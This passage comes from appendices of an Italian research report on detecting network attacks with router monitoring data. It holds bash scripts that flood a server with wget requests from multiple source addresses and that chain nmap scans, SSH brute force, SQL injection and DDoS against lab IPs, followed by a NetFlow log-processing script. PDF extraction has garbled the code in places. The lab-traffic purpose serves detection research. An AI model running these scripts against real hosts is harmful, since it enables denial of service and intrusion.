c=$HostNumber
last=$5
c3=1
echo " *** STARTING DDOS *** "
echo " "
while [ $c2 -le $HostNumber ]
do

# WebRequest
wget -b -q -o ./workingdir/logtemp.log -O ./workingdir/temp.html --bind-address ${zombies[$c2]}
http://$ServerAddress/4KB.html >> /dev/null
c2=‘expr $c2 + 1‘
if [ $c2 -gt $c ]
then
echo " DDoSsing.."
c2=1
c3=‘expr $c3 + 1‘
if [ $c3 -gt $last ]
then
exit 0
fi
fi
done

B.5 Traﬃco Realistico
#!/bin/bash
echo " "
echo "*****************************"
echo " Realistic Traffic Generator "
echo "*****************************"

B.5 Traﬃco Realistico 49

echo " "
timeout=20
nmapAttack=./nmap_scan.sh
sshBrute=./ssh_brute.sh
sqliAttack=./sqli_rush.sh
ddosAttack=./ddos.sh
wtGen=./web_traffic_generator

echo " Starting Neutral traffic.."
$wtGen 10.255.111.2 98 traffic_spec_new 10.255.101.1 eth1.111 >> /dev/null &
echo " waiting 5 mins cause wtgen is reading cfg"
sleep 350
echo " Traffic generation started"
sleep $timeout
echo " Starting nmap scan"
$nmapAttack 25
echo " End of nmap scan"
sleep $timeout
echo " Start SBF"
$sshBrute 10.255.101.1 pwd_list 50
echo " End of SSH Brute "
sleep $timeout
echo " Start SQLi"
$sqliAttack
echo " End of SQLI"
sleep $timeout
echo " Start DDoS"
$ddosAttack 10.255.111.100 100 10.255.101.1 eth1.111 5000
echo " End DDoS "
sleep $timeout
#Killall
ps -A | grep "$wtGen" | kill -9 ‘awk ’{print $1}’‘
exit 0

Appendice C

Script Processamento Dati

#!/bin/bash

printEntryDataTypes(){
echo "*** INFO ***"
echo "1 Timestamp"
echo "2 Flows"
echo "3 Bytes"
echo "4 Packets"
echo "5 Byte per Second (AVG)"
echo "6 Packet per Second (AVG)"
echo "7 Byte per Packet (AVG)"
echo "8 Client IP #1"
echo "11 nSYN Client IP #1"
echo "14 nRES Client IP #1"
echo "17 nACK Client IP #1"
echo "20 nSYNACK Client IP #1"
echo "23 nICMP Client IP #1"
echo "26 Server IP #1"
echo "27 First common port on Server IP #1"
echo "28 Second common port on Server IP #1"
echo "29 Third common port on Server IP #1"
}
createEntry () {

if [ $# -ne 4 ]
then
echo "***"
echo "Create SNMP-like record from NF-Log file"
echo "Usage: $0 <nf-log.csv> <beginSectionLine> <endSecionLine> <tempfile>"
echo "***"

51

52 C Terza Appendice

return 0
fi
csvfile=$1
from=‘expr $2 - 1‘
to=‘expr $3 - 1 ‘
tempfile=$4

#Extract section
cat $csvfile | head -$to | tail -‘expr $to - $from ‘ > $tempfile
# Now in $tempfile you have the section you want to analyze
entry[0]=‘cat $tempfile| grep Captured@ | cut -d@ -f2 | sed ’s/,//g’‘
# Timestamp

if [ ‘expr $to - $from ‘ -le 5 ]
then
#Speedup computation, this is a void section
for (( i = 1 ; i < 29 ; i++ ))
do
entry[$i]=0
done

SAVE_IFS=$IFS
IFS=","
csvRow="${entry[*]}"
IFS=$SAVE_IFS
echo $csvRow
return 0
fi

# Retrive summaries
entry[1]=‘cat $tempfile | tail -1 | cut -d, -f1‘ # Flows
entry[2]=‘cat $tempfile | tail -1 | cut -d, -f2‘ # Bytes
entry[3]=‘cat $tempfile | tail -1 | cut -d, -f3‘ # Packets
entry[4]=‘cat $tempfile | tail -1 | cut -d, -f4‘ # bps
entry[5]=‘cat $tempfile | tail -1 | cut -d, -f5‘ # pps
entry[6]=‘cat $tempfile | tail -1 | cut -d, -f6‘ # bpp

# Extract Client IP Addresses and select the 3 most common Client IP Addresses
indexIp1=7
indexIp2=8
indexIp3=9
entry[7]=‘cat $tempfile | cut -d, -f4 | uniq -c | sort -nr | egrep -e
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -1 |
tail -1‘
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -2 |
tail -1‘
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -3 |
tail -1‘

# Calculate nSIN, nRES, nACK, nSYN-ACK, nICMP for each Client IP

entry[10]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep S |
wc -l‘ # nSYN Client IP 1

entry[13]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep R |
wc -l‘ # nRES Client IP 1

C Script Processamento Dati 53


entry[16]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep A |
wc -l‘ # nACK Client IP 1

grep A | wc -l‘ # nSYNACK Client IP 1

entry[22]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f8 |
grep ICMP | wc -l‘ # nICMP Client IP 1

# Calculate most commonn server address
indexSrvIp1=25
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -1
| tail -1‘
#entry[23]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -2
| tail -1‘
#entry[24]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e
’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -3
| tail -1‘

# Select the most 3 common Server Port
entry[26]=‘cat $tempfile | grep "${entry[$indexSrvIp1]}" | cut -d, -f7 |
uniq -c | sort -nr | egrep -e ’[0-9]{1,6}’ | awk ’{print $2}’ | head -1 |
tail -1‘ # port server IP 1

SAVE_IFS=$IFS
IFS=","
csvRow="${entry[*]}"
IFS=$SAVE_IFS
echo $csvRow
return 0
}

# ----------------
# MAIN STARTS HERE
# ----------------
infocmd="--info"

54 C Terza Appendice

if [ $# -ne 1 ]
then
echo "***"
echo "Create SNMP-like record from NF-Log file"
echo "Usage: $0 <file.csv> "
echo "Print on screen the current entrty format"
echo "Usage: $0 $infocmd"
echo "***"
exit 0
fi
if [ $1 = $infocmd ]
then
printEntryDataTypes
exit 0
fi
infile=$1
tempfile="$1.temp"
#
# Find Sections
#
cat $infile | grep -n Captured@ | cut -d: -f1 > $tempfile
echo ‘cat $infile | wc -l‘ >> $tempfile
total=‘cat $tempfile | wc -l‘
i1=1
i2=1

declare -a sessionBoundsBegin
declare -a sessionBoundsEnd

while [ $i2 -lt $total ]
do
SessionBoundsBegin[$i1]=‘cat $tempfile | head -$i2 | tail -1‘
i2=‘expr 1 + $i2‘
SessionBoundsEnd[$i1]=‘cat $tempfile | head -$i2 | tail -1‘
i1=‘expr 1 + $i1‘
done
# Now sessionBouns contains the lines number that you
# can use for isolating single sessions
counter=0
while [ $counter -lt $i1 ]
do
createEntry $infile ${SessionBoundsBegin[$counter]}
${SessionBoundsEnd[$counter]} $tempfile
counter=‘expr $counter + 1‘
done

rm $tempfile

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (13)

Semelhante a Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Semelhante a Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report (20)

Mais de Ce.Se.N.A. Security

Mais de Ce.Se.N.A. Security (20)

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report